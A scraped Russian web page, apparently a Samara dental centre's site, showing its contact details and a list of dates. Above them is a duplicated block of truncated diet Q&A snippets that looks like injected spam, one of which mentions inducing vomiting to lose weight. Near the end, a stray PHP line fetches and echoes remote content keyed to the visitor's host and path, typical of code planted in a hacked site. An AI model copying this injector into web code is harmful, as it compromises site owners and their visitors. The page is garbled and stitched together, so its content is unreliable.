  • Меню обыкновенной диеты - Дайте пожалуйста диету у меня рост 171 см и я вешу 65 кг____)))срочно нужна диета Вода и хлеб.... вода и хлеб....))))))
  • За сколько дней можно похудеть если бегать - На сколько можно похудеть если сидеть месяц на геркулесовой диете? На 322 грамма. Бегать надо. От еды не худеют. Сколько
  • Можно ли похудеть сдавая кровь - Возможно ли похудеть сдавая кровь?. . О_О похудеет, на 1 кг Вам интересно знать, полезно ли сдавать кровь? Донорство - э
  • На сколько можно похудеть за пост - Как вы думаете соблюдая пост можно похудеть? Вполне Можно ли похудеть в пост? Рейтинг пользователей 3 Худший Лучший. Мам
  • Роял канин-ветеринарные диеты - Роял канин уринари-нужна инфа. ЗАБОЛЕВАНИЯ ДИСТАЛЬНОГО ОТДЕЛА МОЧЕВЫДЕЛИТЕЛЬНОЙ СИСТЕМЫ Показания: # Цистит бактериально
  • Диете вино с сыром - Я сидела на Диете Французской - сыр и красное вино, почему ж в нагрузку мне прибавилось пяток кило ? ) ...это бонус от Б
  • Как реагирует щитовидка на похудение - Как отреогировал бы Ваш муж или парень, если бы Вы поправились на 20 кг.??? Ну откуда ж я знаю. Попробовать что ли.... )
  • Что следует исключить для похудения - Какие продукты питания следует исключить из рациона при похудении,но не содясь не на какие диеты??? Хлеб, сладкое, мучно
  • Диета при хронической почечной недостаток точности - Какие витамины отвечают за настроение и счастье Нет таких витамнов В более далеко зашедшей стадии хронической почечной н
  • Вызываю рвоту чтоб похудеть - Можно ли так не много похудеть? Хочешь заработать ГАСТРИТ? действуй.... Кто и на сколько похудел, вызывая рвоту после ед
  • Меню обыкновенной диеты - Дайте пожалуйста диету у меня рост 171 см и я вешу 65 кг____)))срочно нужна диета Вода и хлеб.... вода и хлеб....))))))
  • За сколько дней можно похудеть если бегать - На сколько можно похудеть если сидеть месяц на геркулесовой диете? На 322 грамма. Бегать надо. От еды не худеют. Сколько
  • Можно ли похудеть сдавая кровь - Возможно ли похудеть сдавая кровь?. . О_О похудеет, на 1 кг Вам интересно знать, полезно ли сдавать кровь? Донорство - э
  • На сколько можно похудеть за пост - Как вы думаете соблюдая пост можно похудеть? Вполне Можно ли похудеть в пост? Рейтинг пользователей 3 Худший Лучший. Мам
  • Роял канин-ветеринарные диеты - Роял канин уринари-нужна инфа. ЗАБОЛЕВАНИЯ ДИСТАЛЬНОГО ОТДЕЛА МОЧЕВЫДЕЛИТЕЛЬНОЙ СИСТЕМЫ Показания: # Цистит бактериально
  • Диете вино с сыром - Я сидела на Диете Французской - сыр и красное вино, почему ж в нагрузку мне прибавилось пяток кило ? ) ...это бонус от Б
  • Как реагирует щитовидка на похудение - Как отреогировал бы Ваш муж или парень, если бы Вы поправились на 20 кг.??? Ну откуда ж я знаю. Попробовать что ли.... )
  • Что следует исключить для похудения - Какие продукты питания следует исключить из рациона при похудении,но не содясь не на какие диеты??? Хлеб, сладкое, мучно
Легкие и эффективные диеты недорогие
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта